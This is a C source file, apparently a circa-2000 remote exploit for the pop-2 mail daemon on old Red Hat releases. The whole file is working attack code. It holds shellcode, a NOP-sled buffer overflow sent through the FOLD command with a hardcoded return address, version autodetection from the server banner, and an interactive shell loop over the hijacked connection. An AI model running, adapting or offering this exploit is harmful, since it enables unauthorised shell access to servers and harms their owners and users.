/*
 * A pop-2 remote exploit that gives a nobody shell.
 * gcc pop.c -o pop -O3 -Wall 
 * Autodetects what version you're sploiting and adjusts ret position and
 * offset accordingly.
 * Tested on redhat 5.2, 5.1, 5.0 and 4.2. Probably only really useful
 * using it on 5.2 tho, cos the rest will most likely have imap open too.
 * NB: To exploit pop-2 you have to take into account the length of both 
 * the hostname and username(unlike all the pop2 exploits out there).
 * - smiler
 */

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>

unsigned char hellcode[]=
  "\xeb\x2c\x5b\x89\xd9\x80\xc1\x06\x39\xd9\x7c\x07\x80\x01"
  "\x20\xfe\xc9\xeb\xf5\x89\x5b\x08\x31\xc0\x88\x43\x07\x89"
  "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0"
  "\xfe\xc0\xcd\x80\xe8\xcf\xff\xff\xff\x0f\x42\x49\x4e\x0f"
  "\x53\x48";

struct type
  {
    char *text;
    int offset;
    int alignment;
  };

struct type types[]=
    {
      {"4.46",0,0},
      {"3.35",0,19},
      {"3.44",0,19},
      {"2.3(30)",0,19},
      {NULL,0,0}
    };

int pop2_type = 0;

#define RET 0xbffff5b1

void usage(char *prog);
int resolv(char *hname, struct in_addr *addr);
int send_oberflow(int fd, char *host, char *user, int offset);
void run_shell(int fd);
int set_pop_type(char *buf, int n);
int do_connect(struct sockaddr_in *serv);

char temp_pass[20], *password;

int main(int argc, char **argv)
{
  int fd,n;
  unsigned char buf[2048];
  struct sockaddr_in servaddr;

  if (argc < 5)
    usage(argv[0]);

  password = strdup(argv[3]);
  bzero(argv[3],strlen(argv[3]));

  /* Mask the password from the cmdline =) */
  bzero(&servaddr,sizeof(servaddr));
  servaddr.sin_family = AF_INET;
  servaddr.sin_port = htons(109);
  if (!resolv(argv[4],&servaddr.sin_addr))
    {
      herror("resolv");
      exit(-1);
    }

  fd = do_connect(&servaddr);
  if ((n = recv(fd, buf, 1024, 0)) <= 0)
    {
      perror("recv");
      return -1;
    }
  /*  Get the banner */
  write(STDOUT_FILENO, buf, n);
  set_pop_type(buf,n);
  printf("Pop type = %d\n",pop2_type);

  /* HELO  localhost:dave password */
  sprintf(buf, "HELO %s:%s %s\r\n",argv[1],argv[2],password);
  send(fd, buf, strlen(buf), 0);
  printf("Sleeping\n");
  sleep(3);

  n = recv(fd, buf, sizeof(buf), 0);

  send_oberflow(fd, argv[1], argv[2], argv[4]?atoi(argv[4]):0);
  //	recv(fd, buf, sizeof(buf), 0);
  run_shell(fd);
  return 0;
}

void run_shell(int fd)
{
  int n;
  char recvbuf[1024];
  fd_set rset;

  while(1)
    {
      FD_ZERO(&rset);
      FD_SET(fd, &rset);
      FD_SET(STDIN_FILENO, &rset);
      select(fd+1,&rset,NULL,NULL,NULL);
      if (FD_ISSET(fd, &rset))
        {
          n = recv(fd, recvbuf, 1024,0);
          if (n <= 0)
            {
              fprintf(stderr,"Connection closed\n");
              return;
            }
          write(STDOUT_FILENO, recvbuf, n);
        }
      if (FD_ISSET(STDIN_FILENO, &rset))
        {
          n = read(STDIN_FILENO, recvbuf, 1024);
          if (n <= 0) return;
          send(fd, recvbuf, n, 0);
        }
    }
  return;
}

int send_oberflow(int fd, char *host, char *user, int offset)
{
  unsigned char buf[1050];
  int ret,ctr,a = 0;

  ret = 1016 - strlen(host) - strlen(user);
  ret -= types[pop2_type].alignment;

  memset(buf,0x90,sizeof(buf));
  memcpy(buf,"FOLD ",5);
  for (ctr = ret - strlen(hellcode);ctr < ret; ctr++)
    buf[ctr] = hellcode[a++];

  *(unsigned long *)(buf + ret) = RET + offset + types[pop2_type].offset;
  strcpy(buf + ret + 4,"\r\n");
  send(fd, buf, strlen(buf), 0);
  return 1;
}

int do_connect(struct sockaddr_in *serv)
{
  int fd;

  fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  if (fd < 0)
    {
      perror("socket");
      exit(-1);
    }

  if (connect(fd, (struct sockaddr *)serv, 16) < 0)
    {
      perror("connect");
      exit(-1);
    }
  return fd;
}

int set_pop_type(char *buf, int n)
{
  int ctr = 0;

  buf[n] = 0;

  while(types[ctr].text)
    {
      if (strstr(buf,types[ctr].text))
        {
          pop2_type = ctr;
          return 1;
        }
      ctr++;
    }

  pop2_type = 0;
  return pop2_type;
}

int resolv(char *hname, struct in_addr *addr)
{
  struct hostent *res;

  if (inet_aton(hname,addr))
    return 1;

  res = gethostbyname(hname);
  if (res == NULL)
    return 0;

  memcpy((char *)addr,(char *)res->h_addr, sizeof(struct in_addr));
  return 1;
}

void usage(char *prog)
{
  fprintf(stderr,"Usage: %s <imap server> <username> <password>"\
          " <pop server> [offset]\n",prog);
  exit(-1);
}


/*                    www.hack.co.za              [2000]*/